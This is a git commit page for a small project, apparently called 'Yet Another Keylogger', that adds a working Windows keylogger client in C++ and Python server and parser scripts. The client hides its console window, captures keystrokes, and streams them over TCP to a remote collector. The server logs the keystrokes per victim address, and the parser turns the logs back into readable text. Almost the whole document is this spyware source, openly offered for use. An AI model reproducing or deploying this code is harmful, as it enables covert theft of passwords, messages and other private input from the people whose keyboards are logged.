aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorAlexander Pickering <Alexander.Pickering@anondomain.site90.net>2014-12-30 15:20:47 -0800
committerAlexander Pickering <Alexander.Pickering@anondomain.site90.net>2014-12-30 15:20:47 -0800
commitc82d9918fc09767bba4fb987bd273eaed5b88073 (patch)
tree3a30b2ddcafe98934dd1bc3a56c7cbfb6b0ebff9
downloadyak-c82d9918fc09767bba4fb987bd273eaed5b88073.tar.gz
yak-c82d9918fc09767bba4fb987bd273eaed5b88073.tar.bz2
yak-c82d9918fc09767bba4fb987bd273eaed5b88073.zip
Completed project
Adding all classes A binary is not distributed, you must compile it from source.
-rw-r--r--client/kl.cpp134
-rw-r--r--server/ParserMinimal.py114
-rw-r--r--server/Server.py36
3 files changed, 284 insertions, 0 deletions
diff --git a/client/kl.cpp b/client/kl.cpp
new file mode 100644
index 0000000..af125b9
--- /dev/null
+++ b/client/kl.cpp
@@ -0,0 +1,134 @@
+#define WIN32_LEAN_AND_MEAN
+
+//Needed to keylogging
+#include <windows.h>
+#include <winuser.h>
+
+//Needed for networking
+#include <winsock2.h>
+#include <ws2tcpip.h>
+#include <stdlib.h>
+#include <stdio.h>
+
+#pragma comment (lib, "Ws2_32.lib")
+#pragma comment (lib, "Mswsock.lib")
+#pragma comment (lib, "AdvApi32.lib")
+
+#define DEFAULT_BUFLEN 128
+#define DEFAULT_PORT "80"
+#define DEFAULT_HOST "127.0.0.1"
+
+int Save (char key, int sock)
+{
+ if ( (key == 1) || (key == 2) )
+ return 0;
+ char output[100];
+ switch(key){
+ case 8 : strcat(output,"[B]"); break; //Backspace
+ case VK_RETURN : strcat(output,"[E]"); break; //Enter
+ case VK_SPACE : strcat(output,"[S]"); break; // Space
+ case VK_CLEAR : strcat(output,"[C]"); break; //Clear
+ case VK_TAB : strcat(output,"[T]");break; //Tab
+ case VK_SHIFT : strcat(output,"[H]");break; // Shift
+ case VK_CONTROL: strcat(output,"[O]");break; // Control
+ case VK_ESCAPE : strcat(output,"[A]");break; // Escape
+ case VK_END : strcat(output,"[N]");break; // End
+ case VK_HOME : strcat(output,"[M]");break; // Home
+ case VK_LEFT : strcat(output,"[L]");break; // Left
+ case VK_RIGHT : strcat(output,"[R]");break; // Right
+ case VK_DOWN : strcat(output,"[D]");break; // Down
+ case VK_UP : strcat(output,"[U]");break; // Up
+ case 190 :
+ case 110 : strcat(output,"."); break; //Keypad . or keyboard .
+ default : strcat(output,"[ ]"); output[3] = key;
+ }
+ char *const allout = output;
+ int result;
+ result = send( sock,allout,5,0);
+ int i;
+ for(i=0;i<99;i++)
+ {
+ output[i]='\0';
+ }
+ return 0;
+}
+
+void Stealth()
+{
+ HWND Stealth;
+ AllocConsole();
+ Stealth = FindWindowA("ConsoleWindowClass", NULL);
+ ShowWindow(Stealth,0);
+}
+
+int __cdecl main()
+{
+ WSADATA wsaData;
+ SOCKET ConnectSocket = INVALID_SOCKET;
+ struct addrinfo *result = NULL,
+ *ptr = NULL,
+ hints;
+ char *sendbuf = "this is a test";
+ char recvbuf[DEFAULT_BUFLEN];
+ int iResult;
+ int recvbuflen = DEFAULT_BUFLEN;
+
+ // Initialize Winsock
+ iResult = WSAStartup(MAKEWORD(2,2), &wsaData);
+ if (iResult != 0) {
+ return 1;
+ }
+ ZeroMemory( &hints, sizeof(hints) );
+ hints.ai_family = AF_INET;
+ hints.ai_socktype = SOCK_STREAM;
+ hints.ai_protocol = IPPROTO_TCP;
+
+ // Resolve the server address and port
+ iResult = getaddrinfo(DEFAULT_HOST, DEFAULT_PORT, &hints, &result);
+ if ( iResult != 0 ) {
+ WSACleanup();
+ return 1;
+ }
+ // Attempt to connect to an address until one succeeds
+ for(ptr=result; ptr != NULL ;ptr=ptr->ai_next) {
+
+ // Create a SOCKET for connecting to server
+ ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype,
+ ptr->ai_protocol);
+ if (ConnectSocket == INVALID_SOCKET) {
+ WSACleanup();
+ return 1;
+ }
+
+ // Connect to server.
+ iResult = connect( ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
+ if (iResult == SOCKET_ERROR) {
+ closesocket(ConnectSocket);
+ ConnectSocket = INVALID_SOCKET;
+ continue;
+ }
+ break;
+ }
+
+ freeaddrinfo(result);
+
+ if (ConnectSocket == INVALID_SOCKET) {
+ WSACleanup();
+ return 1;
+ }
+ Stealth();
+ int i;
+ while (true)
+ {
+ for(i=8; i <= 190; i++)
+ {
+ if (GetAsyncKeyState(i) == -32767)
+ Save (i,ConnectSocket);
+ }
+ }
+
+ closesocket(ConnectSocket);
+ while(true){}
+return 0;
+}
+
diff --git a/server/ParserMinimal.py b/server/ParserMinimal.py
new file mode 100644
index 0000000..eadc857
--- /dev/null
+++ b/server/ParserMinimal.py
@@ -0,0 +1,114 @@
+import os
+import sys
+"""
+/---Y E T A N O T H E R K E Y L O G G E R---\
+| |
+|B Y : 3 S I D E D S Q U A R E |
+| |
+|V I S I T S I N I S T E R . L Y |
+| |
+|C O N T A C T |
+| |
+|I R C . R I Z O N . N E T # S i n i s t e r l y|
+| |
+|S K Y P E b b b l i t z |
+\-----------------------------------------------/
+"""
+class parser():
+ logs = {}
+ pruneAll = False
+ fname = ""
+ def prunefile(self,file):
+ if not self.pruneAll:
+ print("A file of size 0 has been detected, would you like to delete it?\n1 : Yes\n2 : No\n3 : Yes to all")
+ ans = input()
+ if ans == "1" or ans == "3":
+ os.remove("./logs/"+file)
+ self.pruneAll = ans == "3"
+
+ def showfile(self,data):
+ output = list()
+ pointer = 0
+ chars = data.split("\x00")
+ for char in chars:
+ output.append(" ")
+ if char == "[B]": #backspace
+ pointer -= 1
+ elif char == "[E]": #enter
+ output[pointer] = "\n"
+ elif char == "[S]": #space
+ output[pointer] = " "
+ elif char == "[C]": #clear
+ ##Wtf does this do?
+ pass
+ elif char == "[T]": #tab
+ output[pointer] = "\t"
+ elif char == "[H]": #shift
+ pass
+ elif char == "[O]": #control
+ pass
+ elif char == "[A]": #escape
+ pass
+ elif char == "[N]": #end
+ pass
+ elif char == "[M]": #home
+ pass
+ elif char == "[M]": #left
+ pass
+ elif char == "[M]": #right
+ pass
+ elif char == "[M]": #down
+ pass
+ elif char == "[M]": #up
+ pass
+ elif char == "":
+ pass
+ else:
+ try:
+ output[pointer] = char[2]
+ except:
+ pass
+ pointer += 1
+ string = ""
+ for bit in output:
+ string += bit
+ print(string)
+ print("Type enter to exit, or \"save\" to save the above in /logs/parsed/")
+ c = input()
+ if c == "save":
+ f = open("./logs/parsed/" + self.fname + ".txt",'w')
+ f.write(string)
+ f.close()
+ else:
+ pass
+
+ def __init__(self):
+ for root,dirs,files in os.walk("./logs/"):
+ x = 0
+ for file in files:
+ if os.path.getsize("./logs/"+file) < 1:
+ self.prunefile(file)
+ else:
+ self.logs[x] = file
+ x += 1
+
+ print("Select a log file to view:")
+ x = 0
+ while(x < len(self.logs)):
+ print(str(x) + " : " + self.logs[x])
+ x += 1
+ file = None
+ while(file == None):
+ file = int(input())
+ try:
+ self.logs[file]
+ except:
+ file = None
+ print("Bad file choice, choose again:")
+
+ filetoview = self.logs[file]
+ self.fname = filetoview
+ f = open("./logs/" + filetoview,'r')
+ self.showfile(f.read())
+
+p = parser()
diff --git a/server/Server.py b/server/Server.py
new file mode 100644
index 0000000..a7be5c1
--- /dev/null
+++ b/server/Server.py
@@ -0,0 +1,36 @@
+import os
+import sys
+import time
+import socket
+from threading import Thread
+
+HOST = ''
+PORT = 80
+
+Users = {}
+
+s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+s.bind((HOST,PORT))
+x = 0
+
+#The thread that listens and writes to file
+def conCurr(conn,addr):
+ print("Starting thread for address: " + str(addr))
+ f = open("./logs/" + str(addr).replace(".","_") + ".txt",'a')
+ while(True):
+ try:
+ data = conn.recv(5)
+ except:
+ f.close()
+ print("Client disconnected.")
+ return
+ data = data.decode('UTF-8','ignore')
+ data = ''.join(data.split())
+ f.write(data)
+
+while(True):
+ if(True):
+ s.listen(1)
+ conn,addr = s.accept()
+ thre = Thread(target = conCurr, args=(conn,addr,)).start()
+ x = x+1